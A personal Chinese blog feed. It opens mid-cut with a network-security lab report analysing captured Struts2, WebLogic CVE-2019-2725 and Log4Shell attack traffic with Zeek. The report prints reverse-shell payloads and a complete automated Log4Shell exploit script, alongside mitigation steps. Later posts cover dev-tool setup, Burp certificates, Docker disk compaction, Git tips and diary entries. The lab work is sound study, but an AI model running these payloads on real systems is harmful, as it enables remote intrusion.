进行过滤 成功找到攻击流量 – zeek 分析 在 http.log 文件中找到 POST 请求 cat http.log | grep 'POST' 根据 数据包大小 目标 IP 等信息,检查可疑流量 根据 resp_fuids 字段追踪到 extract_files 文件夹中的文件 extract-1721031278.696195-HTTP-F09DHeMj0fa3AJXZf 在 extract_files 文件中找到攻击流量 1 2 # cat extract_files/extract-1721031278.696195-HTTP-F09DHeMj0fa3AJXZf id=%25%7b%28%23instancemanager%3d%23application%5b%22org.apache.tomcat.InstanceManager%22%5d%29.%28%23stack%3d%23attr%5b%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5d%29.%28%23bean%3d%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3d%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3d%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3d%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2c%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2c%23emptyset%29%29.%28%23execute%3d%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%7b%22bash%20-c%20%7becho%2cYmFzaCAtYyAnMDwmMTg0LTtleGVjIDE4NDw%2bL2Rldi90Y3AvMTkyLjE2OC40LjEzMC80NDQ0O3NoIDwmMTg0ID4mMTg0IDI%2bJjE4NCc%3d%7d%7c%7bbase64%2c-d%7d%7cbash%22%7d%29%29%7d CVE-2019-2725 分析 – wireshark 分析 根据 exploit/multi/misc/weblogic_deserialize_asyncresponseservice 模组的源码 : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'ctype' => 'text/xml', 'headers' => { 'SOAPAction' => '' } ) ... when 'Unix', 'Solaris' string0_cmd = '/bin/bash' string1_param = '-c' shell_payload = payload.encoded 使用 xml.cdata contains "/bin/bash" 进行过滤 成功找到攻击流量 – zeek 分析 在 http.log 文件中找到 POST 请求 cat http.log | grep 'POST' 根据 数据包大小 目标 IP 等信息,检查可疑流量 根据 resp_fuids 字段追踪到 extract_files 文件夹中的文件 extract-1721031619.297156-HTTP-FhwTjm4kJ4ayjxLYHl 在 extract_files 文件中找到攻击流量 1 2 # cat extract_files/extract-1721031619.297156-HTTP-FhwTjm4kJ4ayjxLYHl <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>HgyotaNU26Es7IyUbzqd</wsa:Action><wsa:RelatesTo>uCWTSjSfjN8F2jJ4hi2C</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -c '0&lt;&amp;177-;exec 177&lt;&gt;/dev/tcp/192.168.182.130/4444;sh &lt;&amp;177 &gt;&amp;177 2&gt;&amp;177'</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope> 问题 – zeek 编译安装失败 在链接 caf 时报错 原因:找不到 caf 库 解决:安装 caf 库或使用 zeek 官方提供的 zeek 镜像 根据官网的安装指南,安装 caf 库 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 git clone https://github.com/actor-framework/actor-framework.git cd actor-framework mkdir build cd build cmake .. make sudo make install # 手动创建 `actor-framework.pc` 文件 ls /usr/local/include/caf ls /usr/local/lib sudo mkdir -p /usr/local/lib/pkgconfig sudo nano /usr/local/lib/pkgconfig/actor-framework.pc prefix=/usr/local exec_prefix=${prefix} libdir=${exec_prefix}/lib includedir=${prefix}/include Name: actor-framework Description: An Open Source Implementation of the Actor Model in C++ Version: 0.18.3 # 根据实际安装的CAF版本修改 Libs: -L${libdir} -lcaf_core -lcaf_io Cflags: -I${includedir} sudo chmod -R 755 /home/kali/attack_test/test1/zeek/build sudo chown -R $USER:$USER /home/kali/attack_test/test1/zeek/build export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig:$PKG_CONFIG_PATH export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH #再次编译 `zeek`,成功 cd /path/to/zeek/build make clean cmake -DCMAKE_LIBRARY_PATH=/usr/local/lib .. cmake .. make && sudo make install 漏洞缓解与修复与自动化脚本攻击 漏洞缓解与修复 – 修复漏洞并重构镜像重新构建容器 1 2 3 4 5 6 # Dockerfile FROM vulfocus/log4j2-cve-2021-44228:latest CMD ["java","-Dlog4j2.formatMsgNoLookups=true","-jar","/demo/demo.jar"] # 构建镜像 sudo docker build -t vulfocus/log4j2-cve-2021-44228:latest . 捕获指定容器的上下行流量 1 2 3 4 5 6 7 8 # kalitargetserver # 在 tmux 中启动 tcpdump sudo docker ps # 将 container_id 替换为指定容器(CVE-2021-44228)的 ID container_id="56410ce8fa18" # 指定容器的上下行流量 sudo docker run --rm --net=container:${container_id} -v ${PWD}/tcpdump/${container_id}:/tcpdump kaazing/tcpdump # Ctrl + B, D 退出 tmux – 重复漏洞利用流程 攻击失败,检查 tcpdump 抓取的流量文件 evidence 有失败的攻击流量,但没有成功,说明漏洞已缓解 自动化脚本攻击 – auto_atk_1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #!/bin/zsh # 配置变量 ATTACKER_IP="192.168.182.130" ATTACKER_PORT="7777" TARGET_IP="192.168.182.129" JNDI_EXPLOIT_PATH="/path/to/JNDIExploit-1.2-SNAPSHOT.jar" # 提示用户输入目标端口 read "TARGET_PORT?Enter the target port: " # 检查目标端口是否为空 if [[ -z "$TARGET_PORT" ]]; then echo "Error: Target port cannot be empty" exit 1 fi echo "Using target port: $TARGET_PORT" # 创建新的 tmux 会话,用于 nc 监听 tmux new-session -d -s nc_listener "nc -l -p $ATTACKER_PORT" # 创建新的 tmux 会话,用于启动 JNDIExploit tmux new-session -d -s jndi_exploit "java -jar $JNDI_EXPLOIT_PATH -i $TARGET_IP" # 构建 payload SHELL_COMMAND="bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1" BASE64_PAYLOAD=$(echo -n "$SHELL_COMMAND" | base64 -w 0 | sed 's/+/%2B/g' | sed 's/=/%3d/g') TARGET_URL="http://$TARGET_IP:$TARGET_PORT/hello" FULL_PAYLOAD="\${jndi:ldap://$ATTACKER_IP:1389/TomcatBypass/Command/Base64/${BASE64_PAYLOAD}}" URL_FULL_PAYLOAD=$(echo ${FULL_PAYLOAD} | xxd -plain | tr -d '\n' | sed 's/\(..\)/%\1/g') # 构建 curl 命令 CURL_COMMAND="curl \"${TARGET_URL}?payload=${URL_FULL_PAYLOAD}\"" # 输出 payload echo "Sending payload with the following curl command:" echo $CURL_COMMAND # 等待1s sleep 1 # 发送payload eval $CURL_COMMAND echo "Attack deployed. Waiting for reverse shell connection..." 脚本运行记录 参考内容 配套课件 网络安全 (2023) 综合实验 小陈的容器镜像站 Xuyan-cmd 的实验报告 zzz group 小组的实验报告 git rebase 用法详解与工作原理 CVE-2021-44228 Detail 从零到一带你深入 log4j2 Jndi RCE CVE-2021-44228漏洞 Java反序列化过程中 RMI JRMP 以及 JNDI 多种利用方式详解 Log4j2 漏洞详解 (CVE-2021-44228) What is URL encoding? - LocationIQ Metasploit(MSF)使用详解(超详细) 编写 Dockerfile 的最佳实践 kali 修改主机名方法 Linux 临时 IP 以及静态 IP 配置 了解如何管理 Microsoft Defender for Endpoint 中的 Log4Shell 漏洞 Apache Log4j 高危漏洞缓解和修复措施 使用 zeek 来完成取证分析 zeek 流量分析工具安装与使用 工具网站 ChatGPT URL Decode and Encode

12/23/2024
articleCard.readMore

博客音乐床从Github仓库替换为Gitee失败记录

问题 博客 Aplayer 音乐床中国内网络环境下无法流畅播放,企图切换为 Gitee 仓库,Gitee 国内可以直连,我以为应该没问题。 失败 在仿照 Github 方案, 搭建了 Gitee上的音乐仓库后,以为可以顺畅播放音乐了,我总是自以为是。 实际上,Gitee 仓库的音乐文件只能播放 .m4a 格式的音频,我现在没工夫管为什么,反正不行,理论上可以把每个 mp3 转成 m4a,但太麻烦了,谁想听啊,算了。

12/21/2024
articleCard.readMore

VS+Vcpkg的C++开发环境配置

前言 做毕设时,使用 C++ 进行开发,需要调用 openssl 等第三方库,找了找有没有像 python 的 pip 一样的包管理工具,找到了 vcpkg。这里记录一下配置过程。总的来说,比 pip 麻烦一点,乱七八糟小问题不少。 安装 安装 Visual Studio 2022,安装时勾选C++组件。 已安装的话,打开Visual Studio Installer,点击修改,勾选Vcpkg组件。 项目中使用 vcpkg 安装完组件后,记得重启电脑,不然可能不显示vcpkg配置。 右键项目打开项目属性页面,找到 Vcpkg 选项。 进行如下配置,点击应用。 使用 由于贴主尚不清楚的原因,VS 中的 Vcpkg 只能使用 Manifest 方式安装包,需要创建和编辑vcpkg.json文件。 在项目目录下使用vcpkg new --application命令创建vcpkg.json和vcpkg-configuration.json文件。 可以在vcpkg官网查找需要的包,如openssl、jsoncpp、cpp-httplib等。 编辑vcpkg.json文件,内容如下,配置了openssl、jsoncpp、cpp-httplib三个包: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { "dependencies": [ { "name": "openssl", "host": true, "version>=": "3.4.0" }, { "name": "jsoncpp", "host": true, "version>=": "1.9.6" }, { "name": "cpp-httplib", "host": true, "version>=": "0.18.0" } ] } 在目录下使用vcpkg install命令安装包。 vcpkg integrate install命令全局集成 vcpkg(可选)。 注意 Release和Debug模式下,vcpkg的属性配置不同,需要分别配置。 如上文进行的配置,生成的exe文件目录下会有相关dll文件。

12/12/2024
articleCard.readMore

Burp Suite 浏览器显示连接不是私密连接(Private)

问题 学校羽毛球预约系统换新了,想用 Burp Suite 看看 url api 什么的,打开浏览器的 FoxyProxy 开启代理后,浏览器显示连接不是私密连接(Private)。这其实是个老问题了,今天索性解决了。 Firefox 浏览器开启 FoxyProxy 后访问HTTPS网站,显示如下(Chrome等浏览器会有些差别): 解决 网上主要两类解决方法,一个是临时修改浏览器配置,允许访问不安全的网站,另一个是安装 Burp Suite 证书。我肯定就选一劳永逸的了哈哈。 按照参考链接中的方法: 下载证书 打开 Burp Suite ,打开浏览器的 FoxyProxy ,访问http://burp,点击CA Certificate下载证书。应该是cacert.der文件。 导入证书 以 Chrome 为例,打开设置,搜索证书(Certificate),点击管理证书,选择受信任的根证书颁发机构,点击导入,选择cacert.der文件,一路确定即可。 重启浏览器 访问 HTTPS 网站

11/26/2024
articleCard.readMore

Windows WSL2 下的 Docker 磁盘空间压缩

前言 这几天参加一个网安大赛,做 AI 相关的题目,要用 Docker 搭建环境运行,动不动就是几个G,我C盘直接爆炸,删了镜像和容器,发现磁盘空间没变多,就很离谱。 研究了下,发现好像是 Docker 在 WSL2 会创建一个 ext4.vhdx 虚拟硬盘文件,只会动态扩展变大,不会变小。可以类比想想一个橡皮泥做的袋子,往里面发放多了东西会撑大,但是拿出来的东西不会让袋子缩小,塑性形变就离谱。 解决 搜了搜解决方法,大概是需要手动释放空间。 关闭 Docker Desktop 和 WSL2 Docker Desktop 关闭就直接关掉就行,WSL2 可以在 PowerShell 里面输入 wsl --shutdown 关闭。 找到 ext4.vhdx 文件 一般在 C:\Users\你的用户名\AppData\Local\Docker\wsl\data\ext4.vhdx,这个文件就是 Docker 在 WSL2 里面的虚拟硬盘文件。 压缩 ext4.vhdx 文件 管理员权限打开命令行,执行以下命令: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 diskpart # 进入磁盘分区 select vdisk file="C:\Users\你的用户名\AppData\Local\Docker\wsl\data\ext4.vhdx" # 查看磁盘信息 detail vdisk # 压缩磁盘 compact vdisk # 等他读进度条,读完了就好了 detach vdisk exit

11/23/2024
articleCard.readMore

随想241025

1 2 3 4 5 6 7 8 9 可不可以 和你在一起 我们之间有太多回忆 爱上了你 没什么道理 只是刚好情窦初开遇到你 不希望我的未来不是你 只愿意和你永远不分离 趁我还没 有过保质期 趁你还愿意 ————可不可以 张紫豪 前言 最近的帖子,随想好像太多了。坐在学院值班,戴上耳机,打开博客网站挂后台放 Aplayer 组件里的歌,就忍不住想说点什么。 歌 像题记里的这种“小清新”的歌,我原本是完全不喜欢听的。其实我一直都不怎么听歌,直到高中,第一任同桌总唱一些粤语歌,也许是他真的唱得好听,也许是歌确实好听,不论怎么说,我开始听和唱点粤语歌。再后来,班里流行随身听,我也“附庸风雅”,买过几个,不过歌单里除了粤语歌外,也大多是落后时代的曲子。直到现在,我也不太乐意去KTV,因为真的不会什么新歌,每次都是那么几首,我自己都听吐了。 可现在放着歌,不知不觉什么时候歌单里多了这么几首“小清新”,忽然就意识到,其实前任也给我的生活习惯带了了很多改变。 玩 就在敲下这篇帖子的这天,我正要和室友去环球影城。记不得之前的帖子是否提到过,我和wy去年11月初,觉得生活太无聊,每次出去玩又老犹犹豫豫,于是一咬牙,买了环球影城的年卡,到现在快到期了。当时连着去了三四天,到现在我就再没去过。这两天想着快过期了,刚好也有万圣节活动,就去转转。 大学三年,玩的东西其实很少,无非就是打游戏和羽毛球,桌游什么的大学的朋友们大多没什么兴趣。现在稍微轻松点了,其实还挺想跟lys去酒吧转转的。 学 太典了,每次随想的内容不是学就是玩,然后就是感伤。不过还是得说说的,现在要学的就是毕业论文和研究生前的准备。 毕业论文,我需要读论文,学可搜索加密,学智能合约,学个vue3吧。 研究生学习,我补补线性代数,学学导师的内容(麻了,跟导师发消息不理我)。 后记 敲着敲着,本来好像有很多想说的,现在却忘了,这个帖子忽然就没意思了。

10/25/2024
articleCard.readMore

随想241025

1 2 3 4 5 6 7 8 9 可不可以 和你在一起 我们之间有太多回忆 爱上了你 没什么道理 只是刚好情窦初开遇到你 不希望我的未来不是你 只愿意和你永远不分离 趁我还没 有过保质期 趁你还愿意 ————可不可以 张紫豪 前言 最近的帖子,随想好像太多了。坐在学院值班,戴上耳机,打开博客网站挂后台放 Aplayer 组件里的歌,就忍不住想说点什么。 歌 像题记里的这种“小清新”的歌,我原本是完全不喜欢听的。其实我一直都不怎么听歌,直到高中,第一任同桌总唱一些粤语歌,也许是他真的唱得好听,也许是歌确实好听,不论怎么说,我开始听和唱点粤语歌。再后来,班里流行随身听,我也“附庸风雅”,买过几个,不过歌单里除了粤语歌外,也大多是落后时代的曲子。直到现在,我也不太乐意去KTV,因为真的不会什么新歌,每次都是那么几首,我自己都听吐了。 可现在放着歌,不知不觉什么时候歌单里多了这么几首“小清新”,忽然就意识到,其实前任也给我的生活习惯带了了很多改变。 玩 就在敲下这篇帖子的这天,我正要和室友去环球影城。记不得之前的帖子是否提到过,我和wy去年11月初,觉得生活太无聊,每次出去玩又老犹犹豫豫,于是一咬牙,买了环球影城的年卡,到现在快到期了。当时连着去了三四天,到现在我就再没去过。这两天想着快过期了,刚好也有万圣节活动,就去转转。 大学三年,玩的东西其实很少,无非就是打游戏和羽毛球,桌游什么的大学的朋友们大多没什么兴趣。现在稍微轻松点了,其实还挺想跟lys去酒吧转转的。 学 太典了,每次随想的内容不是学就是玩,然后就是感伤。不过还是得说说的,现在要学的就是毕业论文和研究生前的准备。 毕业论文,我需要读论文,学可搜索加密,学智能合约,学个vue3吧。 研究生学习,我补补线性代数,学学导师的内容(麻了,跟导师发消息不理我)。 后记 敲着敲着,本来好像有很多想说的,现在却忘了,这个帖子忽然就没意思了。

10/25/2024
articleCard.readMore

随想240930保研

1 2 3 4 5 6 7 你住的 巷子里 我租了一间公寓 为了想与你不期而遇 高中三年 我为什么 为什么不好好读书 没考上跟你一样的大学 ————等你下课 周杰伦 末2低rank无竞赛科研保研记录 rank1/xxx(前3%) 海外学习交流经验: xx暑校一段 xx暑研 论文若干篇 xx一区二作(一作是导师) xx二区一作 竞赛若干项 美赛 建模 互联网+ 此处省略一万项 英语六级600+ ↑以上跟我一点关系没有,太离谱了,刷个知乎,全是这种,专业第二就低 rank 了是吧,没国家级金牌就是无竞赛是吧,无 sci 1区就是无科研了是吧,绷不住了。 保研 好了,认真写了。 ↓刚敲完标题,VSCode 的 GithubCopilot 就给我推荐了这行文案,笑死我了,气氛一下子欢快起来了。 今天是2024年9月30日,距离研招网的保研拟录取确认刚过去一天,距离考研报名10月9日还有10天,距离考研12月21日,还有不到三个月。 刷知乎时候,看到了一篇文章,分享保研的经历,其中提到了一个特别的词:冒名顶替综合征 1 2 3 冒名顶替综合征: 患有冒名顶替综合征的人,无法将自己的成功归因于自己的能力,他们坚信自己的成功是凭借着运气或时机,或者是别人误以为他们能力很强、很聪明,并总是担心有朝一日他人会识破自己的能力不行。 这个词放在我身上十分合适,我并不觉得这在我身上是一种病态,因为实际上我就是这样的。 刚上大学的时候,信心满满,因为很早就对计算机感兴趣了,初升高我爸就抽空教了我 C 和 C++ 的一点基础,上大学前,自己跟着网课学了点 HTML CSS 和 JS。当时自知高中没好好学习,觉得上了大学,还是喜欢的专业,学校也并非传统理工院校,自己这不得好好学习,力压群雄哈哈。没想到,山外有山,人外有人,班级内有不少厉害的大佬。当然更重要的还是自己又又又又开摆了。 上大学前,家父与我谈购置笔记本电脑的事宜,我想自己玩了三年手机游戏,玩腻了,电脑游戏自己也不感兴趣,大学就不用买游戏本了,搞个 CPU 和内存好的移动工作站就行了。然而,上了大学,很快就下载了 ,从文明6到无人深空,再到一堆单机联机游戏,现在 Steam 时长已接近 3000 小时,库存 12000+¥,真是玩麻了,还不算原神和其他不在 steam 上的游戏。 所以到大二,我以为自己基本认清了现实,完全不幻想保研了,想着一门心思等大三开始学考研,上个北邮 武大 华科。有了这样的想法,我就更加放心的开摆了,日常打游戏、打羽毛球。幻想着自己能够像高考一样,只要学半年多就可以短期创造奇迹。期间,门门课程都是考前一天复习,甚至下午考上午才复习,所幸运气好,没有挂科,也顺利靠老底过了46级。每年就混个蓝桥杯省三和校级的计算机比赛,成绩排名一直在班级接近50%的样子。 到了大三,告别了谈了两年的前女友,有时间思考自己的人生,感觉确实太摆了,开始尝试制定学习计划(关于学习计划,似乎从小到大制定了无数个,唯一执行了超过20%的就是高考的女娲补天计划了),刚开始还好,确实做了点成绩,比如这个博客网站,还有一些奇奇怪怪的技术,虽然和课内课程没太大关系,但多少还是学了点。然而,随着时间的推移,又点了。之后更是一塌糊涂,一次又一次点了一次又一次的新计划。哦对了,大三开学前,上任班长卸任,我变成了新班长。 到了大三下学期,一次偶然,和同专业的师哥师姐打完羽毛球,师姐问起我的毕业意向,听到我说在专业前50%也没挂科,就说有希望保研,虽然当时没讲几句,但确实是给我心中第一次埋下了保研的种子。 大三期间的寒暑假,回到武汉和lcy玩,本科期间,他那边的学习氛围确实比我这边好,他也比较努力,早早就有了保研的打算。和他的交流中(其实是单方面听他传授经验),学习了解了很多很多考研出国,尤其是保研的经验,这也为之后的保研做了铺垫。 到了大三下学期,自知考研希望渺茫,虽然仍然没有放弃希望,但还是开始了二手准备,考了雅思,但两次都是 6.0 ,跟爸妈商量润香港。但忽然一天,消息灵通的前班长把我拉到了一旁,告诉我有可能保研的消息。虽然我至今不知道他是凭什么得出这个结论的,但确实他这一席话让我第一次感受到有望保研。 于是典中典地,虽然嘴上一直说我不可能,希望渺茫,但是心里其实一直抱有保研的希望,为此,我跟着lcy一起申请夏令营,申请预推免,交保研材料。 夏令营期间,我申请了几个学校,其实没抱希望,但是在截止日期时收到了帝都某顶尖211的入营通知。后来翻看另一个邮箱,其实还收了一个不错的学校的入营通知,但是我没看邮箱,错过了。 稀里糊涂地入营,报了三个组,一个机考算法,发挥一半,排名中间g了;一个读论文,一塌糊涂g了;一个面试,稀里糊涂居然混了个优营。 至此,我对保研的希望是越来越大,信心也越来越足,加上得知专业保研20%,甚至可能再增加后,更加有希望了。这样的幻想一直持续到了交保研材料前,我第一次认真看了我的“对手”们的情况,认清了自己的能力(说实话不是对手太强,主要是我自己太菜),正好大病一场,躺在床上,已经不太抱有希望了。 然而转机出现了,还在病床上的我给老师们发送了中秋祝福,其中一个老师对我表达了恭喜,可以说,我当时真的是心脏猛地一跳,我意识到了自己可能保研了,但是一直以来的习惯让我不敢打包票,免得空欢喜一场。直到保研名单正式公布,我意识到真的保研了。 拿到了学校的保研名额,又有之前的优营,我本想着应该是稳了,于是兴奋地向之前面试优营的导师发邮件。现在想来,确实是这个夏令营太水了,也是我自己太菜了,连发了三四封邮件,导师都没回,用我的话说:“我都要 ddos 他邮箱了!”。此时的我慌忙地做新的准备,在这个时间,学校本来名额就出的晚,预推免已经进行到中后期,我赶紧过了本校的预推免并另外加急申请了三个学校,被拒了一个,没回音一个,另一个总算是过了。 最终,凭着99%的运气和1%的实力(还是有点实力的哈哈),预推免过了,虽然是专硕,但总算有985的研究生读了。其实928 929那两天也挺折磨,今年的新政策,学生928填,学校929才开始发offer,当时是9.开始发offer,朋友圈铺天盖地的拟录取截图,我一看我靠11.了真的人麻了,我以为只能上本校了,不过最终还是给我发来了offer。 回头来看,高中同学不少都逆袭了清北c9,对比起来我的成绩仍然不是很好看的,但对比起自己的努力,确实是很满足了,无论 冒名顶替综合征 是真是假,提升自己的实力让自己更安心地去迎接研究生阶段的学习总是好的。 之后的打算 谈到保研后的安排。网上无非是两个观点:gapyear要么提前进组开卷,要么好好玩一年。提前进组,导师我还没联系,其实学学看做学术到底是什么样子,我也很有兴趣,但对玩我的兴趣更胜一筹哈哈。对于学习,无非三点:1.好好学学考研的几门课包括提升英语,不然真的o都不会;2.继续练练计算机技术,做点东西;3.联系研究生导师看跟着学点什么。 大学三年,电脑游戏已经可以说玩够了,户外活动我感兴趣的无非是羽毛球,桌游。羽毛球随时可以打,桌游大学期间关系好的同学里同好并不多。除此之外,我总想再找点什么玩。网上说,游戏玩多了容易“电子阳痿”,我感觉自己几乎什么玩的都“娱乐阳痿”了。我向来在意的是和人玩,玩什么其实不重要,互动性高就行了。What’s more,研究生的学校地处偏远,娱乐的地方并不多,所以之后的一年里,玩什么确实值得我好好想想。 其实还有一个想法,就是再谈场恋爱,大学期间,没有lcy这样的朋友在身边,真的感觉自己需要一个可以依靠的肩膀,呸,一个可以倾诉和分享的人,出去吃喝玩乐学习都能在一起陪我。(又想起来wsq当年的判断:ldy就是从小缺爱。绷不住了。)不过这真的只能看运气了,再说吧。 再往后 对于毕业后的打算,我从来没考虑过就业,我不想步入社会,进入企业,干自己不相干的事情。我的想法是读完硕士读博士,然后去做研究或者当教授。也许以后我的想法会变,谁知道呢。 对了,你是不是还忘了一些重要的事情…

9/30/2024
articleCard.readMore

随想240724

1 2 3 4 5 6 7 8 9 潮汐退和涨 月冷风和霜 夜雨的狂想 野花的微香 伴我星夜里幻想 方知不用太紧张 没法隐藏这份爱 是我深情深似海 ————最爱 周慧敏 周期律 🐱讲历史周期律,王朝更迭兴而复衰,每朝每代皆是如此。 对离别的感伤可以追溯到小学了,深夜里躺在武汉的木床上辗转反侧,除了有对离别熟悉的同学的感伤,还有离别西安的爷爷奶奶的感伤。 小学五六年级时候,应该是第一次对离开同学和学校而伤感。辛弃疾说:“为赋新词强说愁”,虽然不至于此牵强,那时的我在这样特别的情感中还能得到一股隐隐的快感。特别是每次在房间阳台的门前,鼻子贴在透明的玻璃上,泪水止不住地从望着外面的双眼中淌出,除了脑海中的回忆与感伤外,心中反倒还有一丝甜意。 自那以后,从小学到初中,再到高中,还有若干培优班之类的临时集体,我甚至开始提前伤感,还没上高中,就开始为高中毕业的离别而担忧哈哈。每一次都贪婪地享受着伤感带来的快感。 直到高三,自儿时起对死亡的恐惧第一次被自己彻底剖开来直面,一系列情绪波动之后,对离别的伤感再也不会给我什么快感,只会冷冰冰地提醒着我时间飞逝———— Happiness always ends 小学课文里学,朱自清的《匆匆》 燕子去了,有再来的时候;杨柳枯了,有再青的时候;桃花谢了,有再开的时候。 但是,聪明的,你告诉我,我们的日子为什么一去不复返呢?——是有人偷了他们 罢:那是谁?又藏在何处呢?是他们自己逃走了罢:如今(现在)又到了哪里呢? 我不知道他们给了我多少日子,但我的手确乎是渐渐空虚了。在默默里算着,八 千多日子已经从我手中溜去,像针尖上一滴水滴在大海里,我的日子滴在时间的 流里,没有声音,也没有影子。我不禁头涔涔而泪潸潸了。 去的尽管去了,来的尽管来着,去来的中间,又怎样地匆匆呢?早上我起来的时 候,小屋里射进两三方斜斜的太阳。太阳他有脚啊,轻轻悄悄地挪移了;我也茫 茫然跟着旋转。于是——洗手的时候,日子从水盆里过去;吃饭的时候,日子从饭 碗里过去;默默时,便从凝然的双眼前过去。我觉察他去的匆匆了,伸出手遮挽 时,他又从遮挽着的手边过去,天黑时,我躺在床上,他便伶伶俐俐地从我身上 跨过,从我脚边飞去了。等我睁开眼和太阳再见,这算又溜走了一日。我掩着面 叹息。但是新来的日子的影儿又开始在叹息里闪过了。 在逃去如飞的日子里,在千门万户的世界里的我能做些什么呢?只有徘徊罢了, 只有匆匆罢了;在八千多日的匆匆里,除徘徊外,又剩些什么呢?过去的日子如 轻烟,被微风吹散了,如薄雾,被初阳蒸融了;我留着些什么痕迹呢?我何曾留 着像游丝样的痕迹呢?我赤裸裸来到这世界,转眼间也将赤裸裸的回去罢?但不 能平的,为什么偏要白白走这一遭啊? 你聪明的,告诉我,我们的日子为什么一去不复返呢? 原本只想引用几句,又读下来,每一句都触及我的灵魂,索性都贴过来了。 小学时看课文,也许恍惚了一下,而今再读,我似乎感受到了朱自清字里行间透露的绝望与无助,仿佛跨越时空,我和他紧紧相拥,两颗孤独与冰冷的心脏贴在了一起。 大学三年,从未如此离家独自生活,玩了很多,经历了不少,学到了一些。大一大二两年,游戏和恋爱让我无暇思考;大三前半年倒是充实点做了这个个人博客;而这半年,临近毕业的周期律感伤和面临人生关口的焦虑,让我的情绪一直在涌动。 对时间飞逝的恐惧又频繁起来,离别的感伤勾起孤独,让考研的压力都淡如云烟了。 朋友 第一个真正意义上的朋友应该是xkw了,小学五年级,和他熟络起来,我俩几乎形影不离,到初中还有人戏称我俩是男同。再往后,lss、srp、zzl…初中倒是没有如此好的朋友了。再到高中,还没开学就认识了lcy,其实兴趣爱好并没重合太多,但他确实是为数不多的我能什么都倾诉的朋友了。到了大学,不知道是专业学校还是偶然的因素,我和舍友以外的同学确实接触不多,也就只有羽毛球能让我认识些寝室以外的同学了。 宿舍六个人,其实关系不错,我这个人其实在交朋友这点上有时候感觉有点渣哈哈,从初中开始经常会出现一段时间,几个礼拜跟一个同学很熟天天形影不离,过了那段时间,又不怎么来往了。宿舍除了lmx,我基本上都这样“渣”过:谈恋爱时候拉zhj出去玩、跟wy追随激情、跟cwt研究计算机、拉着lys搞这个搞那个…但正如我早早意识到的,如今大家都长大了,各有各的过往,各有各的人生,至少我,很难再和哪个朋友建立起xkw、lcy那样的友谊了。 说起xkw、lcy,前段时间猛然间意识到,其实我和这些朋友的关系不知不觉间已经开始接近我的父母和他们的朋友的那种关系了。每年假期约好时间一聚,酒饱饭足,桌游电玩后,又是各奔东西,等待假期相聚。 其实很羡慕lys和他那一群朋友,十几个朋友,每天在kook随时上号有人陪玩游戏,回家了随时有人叫出去玩(当然可能会出现类似应酬的感觉,不过那是另一回事了)。我想应该是从小到大,各个场合认识的朋友,还有朋友的朋友互相介绍认识,最后聚在了一起。 孤独 上大学前,说想谈恋爱,有尝鲜的因素,而现在又说想谈恋爱,细细想来,其实是希望陪伴罢了。 正如前面讲的,快乐总时短暂的,一段时间相处的人总要离别,而离别熟悉的环境和人总让我感到孤独和无助。 我渴望永恒,希望有长期的,不会分别的朋友陪伴,但由于我的家庭环境和个人经历,当然还有社会因素,我接触到的人、朋友,大多都是当时的境遇决定的,也会随着离开这一境遇而分别,很少有能贯穿时间、地点、人生阶段等变化的长期的朋友或者什么其他的关系。 也许这也是我讨厌毕业等人生阶段的变化的一个重要原因吧,我总希望能一直上学,不止上一辈子,而实上到永恒,人生阶段的变化总代表着离开这些陪我的朋友。 所以我想要有lys那种朋友们聚在一起,不会因为毕业或者其他什么的而“永别”,我也想谈恋爱,因为女朋友总不至于真毕业就分手,上岸斩意中人吧哈哈。 尾巴 坐在回武汉的高铁上,回去也许能找xkw lcy玩,但重要的还是好好学学考研,学学雅思,等下学期再回北京,12月过去,也许真的大学阶段就结束了,真的又要经历离别苦了。 写这篇帖子前,眼泪几乎涌在眼眶打转,现在好了很多,希望如果不能解决问题,慢慢学会习惯吧。

7/24/2024
articleCard.readMore

Git 详细攻略

tips 1. Git 本地仓库绑定多个(Github/Gitlab)远程仓库 git 本地仓库同时推送到多个远程仓库 进一步学习了 Git 的 本地仓库 和 远程仓库的关系后,理解了 本地仓库和远程仓库之间的关系通过一组远程引用(remote references)来管理。远程引用是一组指向远程仓库中提交对象的指针(例如分支和标签)。可以为一个本地仓库绑定多个远程仓库。 于是由 lihan3238 将自己的本地仓库同时绑定了两个远程仓库,每次将 项目工作仓库(GitHub) 的更新拉取到本地仓库,并将更新推送到 项目主仓库(Gitlab) 中。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # 绑定远程仓库-1 git remote add cuc https://git.cuc.edu.cn/ccs/2024-summer-cp/Network-Security-Comprehensive-Practice.git ## 此时使用 git remote -v 查看绑定情况 ## cuc https://git.cuc.edu.cn/ccs/2024-summer-cp/Network-Security-Comprehensive-Practice.git (fetch) ## cuc 